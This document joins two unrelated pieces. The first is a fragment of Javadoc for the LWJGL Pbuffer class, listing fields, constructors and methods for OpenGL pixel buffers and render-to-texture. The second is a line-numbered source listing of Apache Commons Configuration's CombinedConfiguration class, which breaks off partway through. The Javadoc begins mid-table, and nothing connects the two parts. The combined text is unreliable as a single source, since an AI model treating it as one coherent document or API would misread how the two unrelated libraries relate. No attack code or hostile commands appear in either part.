static int |
FRONT_RIGHT_BUFFER
The Pbuffer front right buffer. |
static int |
MIPMAP_LEVEL
The render-to-texture mipmap level attribute. |
static int |
PBUFFER_SUPPORTED
Indicates that Pbuffers can be created. |
protected org.lwjgl.opengl.PeerInfo |
peer_info
Handle to the native GL rendering context |
protected PixelFormat |
pixel_format
The PixelFormat used to create the drawable. |
static int |
RENDER_DEPTH_TEXTURE_SUPPORTED
Indicates that Pbuffers can be used as depth render-textures. |
static int |
RENDER_TEXTURE_RECTANGLE_SUPPORTED
Indicates that Pbuffers can be used as non-power-of-two render-textures. |
static int |
RENDER_TEXTURE_SUPPORTED
Indicates that Pbuffers can be used as render-textures. |
static int |
TEXTURE_CUBE_MAP_NEGATIVE_X
The render-to-texture cube map negative X face value. |
static int |
TEXTURE_CUBE_MAP_NEGATIVE_Y
The render-to-texture cube map negative Y face value. |
static int |
TEXTURE_CUBE_MAP_NEGATIVE_Z
The render-to-texture cube map negative Z face value. |
static int |
TEXTURE_CUBE_MAP_POSITIVE_X
The render-to-texture cube map positive X face value. |
static int |
TEXTURE_CUBE_MAP_POSITIVE_Y
The render-to-texture cube map positive Y face value. |
static int |
TEXTURE_CUBE_MAP_POSITIVE_Z
The render-to-texture cube map positive Z face value. |
| Constructor Summary | |
|---|---|
Pbuffer(int width,
int height,
PixelFormat pixel_format,
Drawable shared_drawable)
Create an instance of a Pbuffer with a unique OpenGL context. |
|
Pbuffer(int width,
int height,
PixelFormat pixel_format,
RenderTexture renderTexture,
Drawable shared_drawable)
Create an instance of a Pbuffer with a unique OpenGL context. |
|
Pbuffer(int width,
int height,
PixelFormat pixel_format,
RenderTexture renderTexture,
Drawable shared_drawable,
ContextAttribs attribs)
Create an instance of a Pbuffer with a unique OpenGL context. |
| Method Summary | |
|---|---|
void |
bindTexImage(int buffer)
Binds the currently bound texture to the buffer specified. |
protected void |
checkDestroyed()
|
void |
checkGLError()
|
org.lwjgl.opengl.ContextGL |
createSharedContext()
[INTERNAL USE ONLY] Creates a new Context that is shared with the Drawable's Context. |
void |
destroy()
Destroys the Drawable. |
static int |
getCapabilities()
Gets the Pbuffer capabilities. |
org.lwjgl.opengl.ContextGL |
getContext()
[INTERNAL USE ONLY] Returns the Drawable's Context. |
int |
getHeight()
|
PixelFormatLWJGL |
getPixelFormat()
|
int |
getWidth()
|
void |
initContext(float r,
float g,
float b)
|
boolean |
isBufferLost()
Method to test for validity of the buffer. |
boolean |
isCurrent()
Returns true if the Drawable's context is current in the current thread. |
void |
makeCurrent()
Makes the Drawable's context current in the current thread. |
void |
releaseContext()
If the Drawable's context is current in the current thread, no context will be current after a call to this method. |
void |
releaseTexImage(int buffer)
Releases the currently bound texture from the buffer specified. |
void |
setAttrib(int attrib,
int value)
Sets a render-to-texture attribute. |
void |
setCLSharingProperties(PointerBuffer properties)
Sets the appropriate khr_gl_sharing properties in the target PointerBuffer ,
so that if it is used in a clCreateContext(FromType) call, the created CL
context will be sharing objects with this Drawable 's GL context. |
void |
setPixelFormat(PixelFormatLWJGL pf)
|
void |
setPixelFormat(PixelFormatLWJGL pf,
ContextAttribs attribs)
|
void |
setSwapInterval(int swap_interval)
|
void |
swapBuffers()
|
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Field Detail |
|---|
public static final int PBUFFER_SUPPORTED
public static final int RENDER_TEXTURE_SUPPORTED
public static final int RENDER_TEXTURE_RECTANGLE_SUPPORTED
public static final int RENDER_DEPTH_TEXTURE_SUPPORTED
public static final int MIPMAP_LEVEL
public static final int CUBE_MAP_FACE
public static final int TEXTURE_CUBE_MAP_POSITIVE_X
public static final int TEXTURE_CUBE_MAP_NEGATIVE_X
public static final int TEXTURE_CUBE_MAP_POSITIVE_Y
public static final int TEXTURE_CUBE_MAP_NEGATIVE_Y
public static final int TEXTURE_CUBE_MAP_POSITIVE_Z
public static final int TEXTURE_CUBE_MAP_NEGATIVE_Z
public static final int FRONT_LEFT_BUFFER
public static final int FRONT_RIGHT_BUFFER
public static final int BACK_LEFT_BUFFER
public static final int BACK_RIGHT_BUFFER
public static final int DEPTH_BUFFER
protected PixelFormat pixel_format
protected org.lwjgl.opengl.PeerInfo peer_info
protected org.lwjgl.opengl.ContextGL context
| Constructor Detail |
|---|
public Pbuffer(int width, int height, PixelFormat pixel_format, Drawable shared_drawable) throws LWJGLException
shared_context
,
or, if shared_context
is null
, the Display context if it is created. The Pbuffer
will have its own OpenGL state. Therefore, state changes to a pbuffer will not be seen in the window context and vice versa.
width
- Pbuffer widthheight
- Pbuffer heightpixel_format
- Minimum Pbuffer context propertiesshared_drawable
- If non-null the Pbuffer will share display lists and textures with it. Otherwise, the Pbuffer will share
with the Display context (if created).
LWJGLException
public Pbuffer(int width, int height, PixelFormat pixel_format, RenderTexture renderTexture, Drawable shared_drawable) throws LWJGLException
shared_context
,
or, if shared_context
is null
, the Display context if it is created. The Pbuffer
will have its own OpenGL state. Therefore, state changes to a pbuffer will not be seen in the window context and vice versa.
The renderTexture parameter defines the necessary state for enabling render-to-texture. When this parameter is null,
render-to-texture is not available. Before using render-to-texture, the Pbuffer capabilities must be queried to ensure that
it is supported. Currently only windows platform can support this feature, so it is recommended that EXT_framebuffer_object
or similar is used if available, for maximum portability.
width
- Pbuffer widthheight
- Pbuffer heightpixel_format
- Minimum Pbuffer context propertiesrenderTexture
- shared_drawable
- If non-null the Pbuffer will share display lists and textures with it. Otherwise, the Pbuffer will share
with the Display context (if created).
LWJGLException
public Pbuffer(int width, int height, PixelFormat pixel_format, RenderTexture renderTexture, Drawable shared_drawable, ContextAttribs attribs) throws LWJGLException
shared_context
,
or, if shared_context
is null
, the Display context if it is created. The Pbuffer
will have its own OpenGL state. Therefore, state changes to a pbuffer will not be seen in the window context and vice versa.
The renderTexture parameter defines the necessary state for enabling render-to-texture. When this parameter is null,
render-to-texture is not available. Before using render-to-texture, the Pbuffer capabilities must be queried to ensure that
it is supported. Currently only windows platform can support this feature, so it is recommended that EXT_framebuffer_object
or similar is used if available, for maximum portability.
width
- Pbuffer widthheight
- Pbuffer heightpixel_format
- Minimum Pbuffer context propertiesrenderTexture
- shared_drawable
- If non-null the Pbuffer will share display lists and textures with it. Otherwise, the Pbuffer will share
with the Display context (if created).attribs
- The ContextAttribs to use when creating the context. (optional, may be null)
LWJGLException
| Method Detail |
|---|
public boolean isBufferLost()
public static int getCapabilities()
public void setAttrib(int attrib, int value)
attrib
- value
- public void bindTexImage(int buffer)
buffer
- public void releaseTexImage(int buffer)
buffer
- public int getHeight()
public int getWidth()
public void setPixelFormat(PixelFormatLWJGL pf) throws LWJGLException
LWJGLException
public void setPixelFormat(PixelFormatLWJGL pf, ContextAttribs attribs) throws LWJGLException
LWJGLException
public PixelFormatLWJGL getPixelFormat()
public org.lwjgl.opengl.ContextGL getContext()
public org.lwjgl.opengl.ContextGL createSharedContext() throws LWJGLException
LWJGLException
public void checkGLError()
public void setSwapInterval(int swap_interval)
public void swapBuffers() throws LWJGLException
LWJGLException
public void initContext(float r, float g, float b)
public boolean isCurrent() throws LWJGLException
Drawable
LWJGLException
public void makeCurrent() throws LWJGLException
Drawable
LWJGLException
public void releaseContext() throws LWJGLException
Drawable
LWJGLException
public void destroy()
Drawable
public void setCLSharingProperties(PointerBuffer properties) throws LWJGLException
Drawable
PointerBuffer
,
so that if it is used in a clCreateContext(FromType)
call, the created CL
context will be sharing objects with this Drawable
's GL context. After a
call to this method, the target buffer position will have advanced by 2 to 4 positions,
depending on the implementation.
properties
- The target properties buffer. It must have at least 4 positions remaining.
LWJGLException
protected final void checkDestroyed()
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


001/* 002 * Licensed to the Apache Software Foundation (ASF) under one or more 003 * contributor license agreements. See the NOTICE file distributed with 004 * this work for additional information regarding copyright ownership. 005 * The ASF licenses this file to You under the Apache License, Version 2.0 006 * (the "License"); you may not use this file except in compliance with 007 * the License. You may obtain a copy of the License at 008 * 009 * http://www.apache.org/licenses/LICENSE-2.0 010 * 011 * Unless required by applicable law or agreed to in writing, software 012 * distributed under the License is distributed on an "AS IS" BASIS, 013 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 014 * See the License for the specific language governing permissions and 015 * limitations under the License. 016 */ 017package org.apache.commons.configuration2; 018 019import java.io.ByteArrayOutputStream; 020import java.io.PrintStream; 021import java.util.ArrayList; 022import java.util.Collection; 023import java.util.HashMap; 024import java.util.HashSet; 025import java.util.Iterator; 026import java.util.List; 027import java.util.Map; 028import java.util.Set; 029 030import org.apache.commons.configuration2.event.ConfigurationEvent; 031import org.apache.commons.configuration2.event.EventListener; 032import org.apache.commons.configuration2.event.EventSource; 033import org.apache.commons.configuration2.event.EventType; 034import org.apache.commons.configuration2.ex.ConfigurationRuntimeException; 035import org.apache.commons.configuration2.sync.LockMode; 036import org.apache.commons.configuration2.tree.DefaultConfigurationKey; 037import org.apache.commons.configuration2.tree.DefaultExpressionEngine; 038import org.apache.commons.configuration2.tree.ExpressionEngine; 039import org.apache.commons.configuration2.tree.ImmutableNode; 040import org.apache.commons.configuration2.tree.NodeCombiner; 041import org.apache.commons.configuration2.tree.NodeTreeWalker; 042import org.apache.commons.configuration2.tree.QueryResult; 043import org.apache.commons.configuration2.tree.TreeUtils; 044import org.apache.commons.configuration2.tree.UnionCombiner; 045 046/** 047 *
 048 * A hierarchical composite configuration class. 049 *
 050 *
 051 * This class maintains a list of configuration objects, which can be added using the diverse {@code addConfiguration()} 052 * methods. After that the configurations can be accessed either by name (if one was provided when the configuration was 053 * added) or by index. For the whole set of managed configurations a logical node structure is constructed. For this 054 * purpose a {@link org.apache.commons.configuration2.tree.NodeCombiner NodeCombiner} object can be set. This makes it 055 * possible to specify different algorithms for the combination process. 056 *
 057 *
 058 * The big advantage of this class is that it creates a truly hierarchical structure of all the properties stored in the 059 * contained configurations - even if some of them are no hierarchical configurations per se. So all enhanced features 060 * provided by a hierarchical configuration (e.g. choosing an expression engine) are applicable. 061 *
 062 *
 063 * The class works by registering itself as an event listener at all added configurations. So it gets notified whenever 064 * one of these configurations is changed and can invalidate its internal node structure. The next time a property is 065 * accessed the node structure will be re-constructed using the current state of the managed configurations. Note that, 066 * depending on the used {@code NodeCombiner}, this may be a complex operation. 067 *
 068 *
 069 * Because of the way a {@code CombinedConfiguration} is working it has more or less view character: it provides a logic 070 * view on the configurations it contains. In this constellation not all methods defined for hierarchical configurations 071 * - especially methods that update the stored properties - can be implemented in a consistent manner. Using such 072 * methods (like {@code addProperty()}, or {@code clearProperty()} on a {@code CombinedConfiguration} is not strictly 073 * forbidden, however, depending on the current {@link NodeCombiner} and the involved properties, the results may be 074 * different than expected. Some examples may illustrate this: 075 *
 076 *
 077 *
Imagine a {@code CombinedConfiguration} cc containing two child configurations with the following 078 * content: 079 *
 080 *
user.properties
 081 *
 082 * 083 *
 084 * gui.background = blue 085 * gui.position = (10, 10, 400, 200) 086 *
 087 * 088 *
 089 *
default.properties
 090 *
 091 * 092 *
 093 * gui.background = black 094 * gui.foreground = white 095 * home.dir = /data 096 *
 097 * 098 *
 099 *
 100 * As a {@code NodeCombiner} a {@link org.apache.commons.configuration2.tree.OverrideCombiner OverrideCombiner} is used. 101 * This combiner will ensure that defined user settings take precedence over the default values. If the resulting 102 * {@code CombinedConfiguration} is queried for the background color, {@code blue} will be returned because this value 103 * is defined in {@code user.properties}. Now consider what happens if the key {@code gui.background} is removed from 104 * the {@code CombinedConfiguration}: 105 * 106 *
 107 * cc.clearProperty("gui.background"); 108 *
 109 * 110 * Will a {@code cc.containsKey("gui.background")} now return false? No, it won't! The {@code clearProperty()} 111 * operation is executed on the node set of the combined configuration, which was constructed from the nodes of the two 112 * child configurations. It causes the value of the background node to be cleared, which is also part of the 113 * first child configuration. This modification of one of its child configurations causes the 114 * {@code CombinedConfiguration} to be re-constructed. This time the {@code OverrideCombiner} cannot find a 115 * {@code gui.background} property in the first child configuration, but it finds one in the second, and adds it to the 116 * resulting combined configuration. So the property is still present (with a different value now).
 117 *
{@code addProperty()} can also be problematic: Most node combiners use special view nodes for linking parts of 118 * the original configurations' data together. If new properties are added to such a special node, they do not belong to 119 * any of the managed configurations and thus hang in the air. Using the same configurations as in the last example, the 120 * statement 121 * 122 *
 123 * addProperty("database.user", "scott"); 124 *
 125 * 126 * would cause such a hanging property. If now one of the child configurations is changed and the 127 * {@code CombinedConfiguration} is re-constructed, this property will disappear! (Add operations are not problematic if 128 * they result in a child configuration being updated. For instance an {@code addProperty("home.url", "localhost");} 129 * will alter the second child configuration - because the prefix home is here already present; when the 130 * {@code CombinedConfiguration} is re-constructed, this change is taken into account.)
 131 *
 132 *
 133 * Because of such problems it is recommended to perform updates only on the managed child configurations. 134 *
 135 *
 136 * Whenever the node structure of a {@code CombinedConfiguration} becomes invalid (either because one of the contained 137 * configurations was modified or because the {@code invalidate()} method was directly called) an event is generated. So 138 * this can be detected by interested event listeners. This also makes it possible to add a combined configuration into 139 * another one. 140 *
 141 *
 142 * Notes about thread-safety: This configuration implementation uses a {@code Synchronizer} object to protect instances 143 * against concurrent access. The concrete {@code Synchronizer} implementation used determines whether an instance of 144 * this class is thread-safe or not. In contrast to other implementations derived from 145 * {@link BaseHierarchicalConfiguration}, thread-safety is an issue here because the nodes structure used by this 146 * configuration has to be constructed dynamically when a child configuration is changed. Therefore, when multiple 147 * threads are involved which also manipulate one of the child configurations, a proper {@code Synchronizer} object 148 * should be set. Note that the {@code Synchronizer} objects used by the child configurations do not really matter. 149 * Because immutable in-memory nodes structures are used for them there is no danger that updates on child 150 * configurations could interfere with read operations on the combined configuration. 151 *
 152 * 153 * @since 1.3 154 */ 155public class CombinedConfiguration extends BaseHierarchicalConfiguration implements EventListener<ConfigurationEvent> { 156 /** 157 * Constant for the event type fired when the internal node structure of a combined configuration becomes invalid. 158 * 159 * @since 2.0 160 */ 161 public static final EventType<ConfigurationEvent> COMBINED_INVALIDATE = new EventType<>(ConfigurationEvent.ANY, "COMBINED_INVALIDATE"); 162 163 /** Constant for the expression engine for parsing the at path. */ 164 private static final DefaultExpressionEngine AT_ENGINE = DefaultExpressionEngine.INSTANCE; 165 166 /** Constant for the default node combiner. */ 167 private static final NodeCombiner DEFAULT_COMBINER = new UnionCombiner(); 168 169 /** Constant for a root node for an empty configuration. */ 170 private static final ImmutableNode EMPTY_ROOT = new ImmutableNode.Builder().create(); 171 172 /** Stores the combiner. */ 173 private NodeCombiner nodeCombiner; 174 175 /** Stores a list with the contained configurations. */ 176 private List<ConfigData> configurations; 177 178 /** Stores a map with the named configurations. */ 179 private Map<String, Configuration> namedConfigurations; 180 181 /** 182 * An expression engine used for converting child configurations to hierarchical ones. 183 */ 184 private ExpressionEngine conversionExpressionEngine; 185 186 /** A flag whether this configuration is up-to-date. */ 187 private boolean upToDate; 188 189 /** 190 * Creates a new instance of {@code CombinedConfiguration} and initializes the combiner to be used. 191 * 192 * @param comb the node combiner (can be null, then a union combiner is used as default) 193 */ 194 public CombinedConfiguration(final NodeCombiner comb) { 195 nodeCombiner = comb != null ? comb : DEFAULT_COMBINER; 196 initChildCollections(); 197 } 198 199 /** 200 * Creates a new instance of {@code CombinedConfiguration} that uses a union combiner. 201 * 202 * @see org.apache.commons.configuration2.tree.UnionCombiner 203 */ 204 public CombinedConfiguration() { 205 this(null); 206 } 207 208 /** 209 * Returns the node combiner that is used for creating the combined node structure. 210 * 211 * @return the node combiner 212 */ 213 public NodeCombiner getNodeCombiner() { 214 beginRead(true); 215 try { 216 return nodeCombiner; 217 } finally { 218 endRead(); 219 } 220 } 221 222 /** 223 * Sets the node combiner. This object will be used when the combined node structure is to be constructed. It must not 224 * be null, otherwise an {@code IllegalArgumentException} exception is thrown. Changing the node combiner causes 225 * an invalidation of this combined configuration, so that the new combiner immediately takes effect. 226 * 227 * @param nodeCombiner the node combiner 228 */ 229 public void setNodeCombiner(final NodeCombiner nodeCombiner) { 230 if (nodeCombiner == null) { 231 throw new IllegalArgumentException("Node combiner must not be null!"); 232 } 233 234 beginWrite(true); 235 try { 236 this.nodeCombiner = nodeCombiner; 237 invalidateInternal(); 238 } finally { 239 endWrite(); 240 } 241 } 242 243 /** 244 * Returns the {@code ExpressionEngine} for converting flat child configurations to hierarchical ones. 245 * 246 * @return the conversion expression engine 247 * @since 1.6 248 */ 249 public ExpressionEngine getConversionExpressionEngine() { 250 beginRead(true); 251 try { 252 return conversionExpressionEngine; 253 } finally { 254 endRead(); 255 } 256 } 257 258 /** 259 * Sets the {@code ExpressionEngine} for converting flat child configurations to hierarchical ones. When constructing 260 * the root node for this combined configuration the properties of all child configurations must be combined to a single 261 * hierarchical node structure. In this process, non hierarchical configurations are converted to hierarchical ones 262 * first. This can be problematic if a child configuration contains keys that are no compatible with the default 263 * expression engine used by hierarchical configurations. Therefore it is possible to specify a specific expression 264 * engine to be used for this purpose. 265 * 266 * @param conversionExpressionEngine the conversion expression engine 267 * @see ConfigurationUtils#convertToHierarchical(Configuration, ExpressionEngine) 268 * @since 1.6 269 */ 270 public void setConversionExpressionEngine(final ExpressionEngine conversionExpressionEngine) { 271 beginWrite(true); 272 try { 273 this.conversionExpressionEngine = conversionExpressionEngine; 274 } finally { 275 endWrite(); 276 } 277 } 278 279 /** 280 * Adds a new configuration to this combined configuration. It is possible (but not mandatory) to give the new 281 * configuration a name. This name must be unique, otherwise a {@code ConfigurationRuntimeException} will be thrown. 282 * With the optional {@code at} argument you can specify where in the resulting node structure the content of the added 283 * configuration should appear. This is a string that uses dots as property delimiters (independent on the current 284 * expression engine). For instance if you pass in the string {@code "database.tables"}, all properties of the added 285 * configuration will occur in this branch. 286 * 287 * @param config the configuration to add (must not be null) 288 * @param name the name of this configuration (can be null) 289 * @param at the position of this configuration in the combined tree (can be null) 290 */ 291 public void addConfiguration(final Configuration config, final String name, final String at) { 292 if (config == null) { 293 throw new IllegalArgumentException("Added configuration must not be null!"); 294 } 295 296 beginWrite(true); 297 try { 298 if (name != null && namedConfigurations.containsKey(name)) { 299 throw new ConfigurationRuntimeException("A configuration with the name '" + name + "' already exists in this combined configuration!"); 300 } 301 302 final ConfigData cd = new ConfigData(config, name, at); 303 if (getLogger().isDebugEnabled()) { 304 getLogger().debug("Adding configuration " + config + " with name " + name); 305 } 306 configurations.add(cd); 307 if (name != null) { 308 namedConfigurations.put(name, config); 309 } 310 311 invalidateInternal(); 312 } finally { 313 endWrite(); 314 } 315 registerListenerAt(config); 316 } 317 318 /** 319 * Adds a new configuration to this combined configuration with an optional name. The new configuration's properties 320 * will be added under the root of the combined node structure. 321 * 322 * @param config the configuration to add (must not be null) 323 * @param name the name of this configuration (can be null) 324 */ 325 public void addConfiguration(final Configuration config, final String name) { 326 addConfiguration(config, name, null); 327 } 328 329 /** 330 * Adds a new configuration to this combined configuration. The new configuration is not given a name. Its properties 331 * will be added under the root of the combined node structure. 332 * 333 * @param config the configuration to add (must not be null) 334 */ 335 public void addConfiguration(final Configuration config) { 336 addConfiguration(config, null, null); 337 } 338 339 /** 340 * Returns the number of configurations that are contained in this combined configuration. 341 * 342 * @return the number of contained configurations 343 */ 344 public int getNumberOfConfigurations() { 345 beginRead(true); 346 try { 347 return getNumberOfConfigurationsInternal(); 348 } finally { 349 endRead(); 350 } 351 } 352 353 /** 354 * Returns the configuration at the specified index. The contained configurations are numbered in the order they were 355 * added to this combined configuration. The index of the first configuration is 0. 356 * 357 * @param index the index 358 * @return the configuration at this index 359 */ 360 public Configuration getConfiguration(final int index) { 361 beginRead(true); 362 try { 363 final ConfigData cd = configurations.get(index); 364 return cd.getConfiguration(); 365 } finally { 366 endRead(); 367 } 368 } 369 370 /** 371 * Returns the configuration with the given name. This can be null if no such configuration exists. 372 * 373 * @param name the name of the configuration 374 * @return the configuration with this name 375 */ 376 public Configuration getConfiguration(final String name) { 377 beginRead(true); 378 try { 379 return namedConfigurations.get(name); 380 } finally { 381 endRead(); 382 } 383 } 384 385 /** 386 * Returns a List of all the configurations that have been added. 387 * 388 * @return A List of all the configurations. 389 * @since 1.7 390 */ 391 public List<Configuration> getConfigurations() { 392 beginRead(true); 393 try { 394 final List<Configuration> list = new ArrayList<>(getNumberOfConfigurationsInternal()); 395 for (final ConfigData cd : configurations) { 396 list.add(cd.getConfiguration()); 397 } 398 return list; 399 } finally { 400 endRead(); 401 } 402 } 403 404 /** 405 * Returns a List of the names of all the configurations that have been added in the order they were added. A NULL value 406 * will be present in the list for each configuration that was added without a name. 407 * 408 * @return A List of all the configuration names. 409 * @since 1.7 410 */ 411 public List<String> getConfigurationNameList() { 412 beginRead(true); 413 try { 414 final List<String> list = new ArrayList<>(getNumberOfConfigurationsInternal()); 415 for (final ConfigData cd : configurations) { 416 list.add(cd.getName()); 417 } 418 return list; 419 } finally { 420 endRead(); 421 } 422 } 423 424 /** 425 * Removes the specified configuration from this combined configuration. 426 * 427 * @param config the configuration to be removed 428 * @return a flag whether this configuration was found and could be removed 429 */ 430 public boolean removeConfiguration(final Configuration config) { 431 for (int index = 0; index < getNumberOfConfigurations(); index++) { 432 if (configurations.get(index).getConfiguration() == config) { 433 removeConfigurationAt(index); 434 return true; 435 } 436 } 437 438 return false; 439 } 440 441 /** 442 * Removes the configuration at the specified index. 443 * 444 * @param index the index 445 * @return the removed configuration 446 */ 447 public Configuration removeConfigurationAt(final int index) { 448 final ConfigData cd = configurations.remove(index); 449 if (cd.getName() != null) { 450 namedConfigurations.remove(cd.getName()); 451 } 452 unregisterListenerAt(cd.getConfiguration()); 453 invalidateInternal(); 454 return cd.getConfiguration(); 455 } 456 457 /** 458 * Removes the configuration with the specified name. 459 * 460 * @param name the name of the configuration to be removed 461 * @return the removed configuration (null if this configuration was not found) 462 */ 463 public Configuration removeConfiguration(final String name) { 464 final Configuration conf = getConfiguration(name); 465 if (conf != null) { 466 removeConfiguration(conf); 467 } 468 return conf; 469 } 470 471 /** 472 * Returns a set with the names of all configurations contained in this combined configuration. Of course here are only 473 * these configurations listed, for which a name was specified when they were added. 474 * 475 * @return a set with the names of the contained configurations (never null) 476 */ 477 public Set<String> getConfigurationNames() { 478 beginRead(true); 479 try { 480 return namedConfigurations.keySet(); 481 } finally { 482 endRead(); 483 } 484 } 485 486 /** 487 * Invalidates this combined configuration. This means that the next time a property is accessed the combined node 488 * structure must be re-constructed. Invalidation of a combined configuration also means that an event of type 489 * {@code EVENT_COMBINED_INVALIDATE} is fired. Note that while other events most times appear twice (once before and 490 * once after an update), this event is only fired once (after update). 491 */ 492 public void invalidate() { 493 beginWrite(true); 494 try { 495 invalidateInternal(); 496 } finally { 497 endWrite(); 498 } 499 } 500 501 /** 502 * Event listener call back for configuration update events. This method is called whenever one of the contained 503 * configurations was modified. It invalidates this combined configuration. 504 * 505 * @param event the update event 506 */ 507 @Override 508 public void onEvent(final ConfigurationEvent event) { 509 if (event.isBeforeUpdate()) { 510 invalidate(); 511 } 512 } 513 514 /** 515 * Clears this configuration. All contained configurations will be removed. 516 */ 517 @Override 518 protected void clearInternal() { 519 unregisterListenerAtChildren(); 520 initChildCollections(); 521 invalidateInternal(); 522 } 523 524 /** 525 * Returns a copy of this object. This implementation performs a deep clone, i.e. all contained configurations will be 526 * cloned, too. For this to work, all contained configurations must be cloneable. Registered event listeners won't be 527 * cloned. The clone will use the same node combiner than the original. 528 * 529 * @return the copied object 530 */ 531 @Override 532 public Object clone() { 533 beginRead(false); 534 try { 535 final CombinedConfiguration copy = (CombinedConfiguration) super.clone(); 536 copy.initChildCollections(); 537 for (final ConfigData cd : configurations) { 538 copy.addConfiguration(ConfigurationUtils.cloneConfiguration(cd.getConfiguration()), cd.getName(), cd.getAt()); 539 } 540 541 return copy; 542 } finally { 543 endRead(); 544 } 545 } 546 547 /** 548 * Returns the configuration source, in which the specified key is defined. This method will determine the configuration 549 * node that is identified by the given key. The following constellations are possible: 550 *
 551 *
If no node object is found for this key, null is returned.
 552 *
If the key maps to multiple nodes belonging to different configuration sources, a 553 * {@code IllegalArgumentException} is thrown (in this case no unique source can be determined).
 554 *
If exactly one node is found for the key, the (child) configuration object, to which the node belongs is 555 * determined and returned.
 556 *
For keys that have been added directly to this combined configuration and that do not belong to the namespaces 557 * defined by existing child configurations this configuration will be returned.
 558 *
 559 * 560 * @param key the key of a configuration property 561 * @return the configuration, to which this property belongs or null if the key cannot be resolved 562 * @throws IllegalArgumentException if the key maps to multiple properties and the source cannot be determined, or if 563 * the key is null 564 * @since 1.5 565 */ 566 public Configuration getSource(final String key) { 567 if (key == null) { 568 throw new IllegalArgumentException("Key must not be null!"); 569 } 570 571 final Set<Configuration> sources = getSources(key); 572 if (sources.isEmpty()) { 573 return null; 574 } 575 final Iterator<Configuration> iterator = sources.iterator(); 576 final Configuration source = iterator.next(); 577 if (iterator.hasNext()) { 578 throw new IllegalArgumentException("The key " + key + " is defined by multiple sources!"); 579 } 580 return source; 581 } 582 583 /** 584 * Returns a set with the configuration sources, in which the specified key is defined. This method determines the 585 * configuration nodes that are identified by the given key. It then determines the configuration sources to which these 586 * nodes belong and adds them to the result set. Note the following points: 587 *
 588 *
If no node object is found for this key, an empty set is returned.
 589 *
For keys that have been added directly to this combined configuration and that do not belong to the namespaces 590 * defined by existing child configurations this combined configuration is contained in the result set.
 591 *
 592 * 593 * @param key the key of a configuration property 594 * @return a set with the configuration sources, which contain this property 595 * @since 2.0 596 */ 597 public Set<Configuration> getSources(final String key) { 598 beginRead(false); 599 try { 600 final List<QueryResult<ImmutableNode>> results = fetchNodeList(key); 601 final Set<Configuration> sources = new HashSet<>(); 602 603 for (final QueryResult<ImmutableNode> result : results) { 604 final Set<Configuration> resultSources = findSourceConfigurations(result.getNode()); 605 if (resultSources.isEmpty()) { 606 // key must be defined in combined configuration 607 sources.add(this); 608 } else { 609 sources.addAll(resultSources); 610 } 611 } 612 613 return sources; 614 } finally { 615 endRead(); 616 } 617 } 618 619 /** 620 * {@inheritDoc} This implementation checks whether a combined root node is available. If not, it is constructed by 621 * requesting a write lock. 622 */ 623 @Override 624 protected void beginRead(final boolean optimize) { 625 if (optimize) { 626 // just need a lock, don't construct configuration 627 super.beginRead(true); 628 return; 629 } 630 631 boolean lockObtained = false; 632 do { 633 super.beginRead(false); 634 if (isUpToDate()) { 635 lockObtained = true; 636 } else { 637 // release read lock and try to obtain a write lock 638 endRead(); 639 beginWrite(false); // this constructs the root node 640 endWrite(); 641 } 642 } while (!lockObtained); 643 } 644 645 /** 646 * {@inheritDoc} This implementation checks whether a combined root node is available. If not, it is constructed now. 647 */ 648 @Override 649 protected void beginWrite(final boolean optimize) { 650 super.beginWrite(true); 651 if (optimize) { 652 // just need a lock, don't construct configuration 653 return; 654 } 655 656 boolean success = false; 657 try { 658 if (!isUpToDate()) { 659 getSubConfigurationParentModel().replaceRoot(constructCombinedNode(), this); 660 upToDate = true; 661 } 662 success = true; 663 } finally { 664 if (!success) { 665 endWrite(); 666 } 667 } 668 } 669 670 /** 671 * Returns a flag whether this configuration has been invalidated. This means that the combined nodes structure has to 672 * be rebuilt before the configuration can be accessed. 673 * 674 * @return a flag whether this configuration is invalid 675 */ 676 private boolean isUpToDate() { 677 return upToDate; 678 } 679 680 /** 681 * Marks this configuration as invalid. This means that the next access re-creates the root node. An invalidate event is 682 * also fired. Note: This implementation expects that an exclusive (write) lock is held on this instance. 683 */ 684 private void invalidateInternal() { 685 upToDate = false; 686 fireEvent(COMBINED_INVALIDATE, null, null, false); 687 } 688 689 /** 690 * Initializes internal data structures for storing information about child configurations. 691 */ 692 private void initChildCollections() { 693 configurations = new ArrayList<>(); 694 namedConfigurations = new HashMap<>(); 695 } 696 697 /** 698 * Creates the root node of this combined configuration. 699 * 700 * @return the combined root node 701 */ 702 private ImmutableNode constructCombinedNode() { 703 if (getNumberOfConfigurationsInternal() < 1) { 704 if (getLogger().isDebugEnabled()) { 705 getLogger().debug("No configurations defined for " + this); 706 } 707 return EMPTY_ROOT; 708 } 709 final Iterator<ConfigData> it = configurations.iterator(); 710 ImmutableNode node = it.next().getTransformedRoot(); 711 while (it.hasNext()) { 712 node = nodeCombiner.combine(node, it.next().getTransformedRoot()); 713 } 714 if (getLogger().isDebugEnabled()) { 715 final ByteArrayOutputStream os = new ByteArrayOutputStream(); 716 final PrintStream stream = new PrintStream(os); 717 TreeUtils.printTree(stream, node); 718 getLogger().debug(os.toString()); 719 } 720 return node; 721 } 722 723 /** 724 * Determines the configurations to which the specified node belongs. This is done by inspecting the nodes structures of 725 * all child configurations. 726 * 727 * @param node the node 728 * @return a set with the owning configurations 729 */ 730 private Set<Configuration> findSourceConfigurations(final ImmutableNode node) { 731 final Set<Configuration> result = new HashSet<>(); 732 final FindNodeVisitor<ImmutableNode> visitor = new FindNodeVisitor<>(node); 733 734 for (final ConfigData cd : configurations) { 735 NodeTreeWalker.INSTANCE.walkBFS(cd.getRootNode(), visitor, getModel().getNodeHandler()); 736 if (visitor.isFound()) { 737 result.add(cd.getConfiguration()); 738 visitor.reset(); 739 } 740 } 741 742 return result; 743 } 744 745 /** 746 * Registers this combined configuration as listener at the given child configuration. 747 * 748 * @param configuration the child configuration 749 */ 750 private void registerListenerAt(final Configuration configuration) { 751 if (configuration instanceof EventSource) { 752 ((EventSource) configuration).addEventListener(ConfigurationEvent.ANY, this); 753 } 754 } 755 756 /** 757 * Removes this combined configuration as listener from the given child configuration. 758 * 759 * @param configuration the child configuration 760 */ 761 private void unregisterListenerAt(final Configuration configuration) { 762 if (configuration instanceof EventSource) { 763 ((EventSource) configuration).removeEventListener(ConfigurationEvent.ANY, this); 764 } 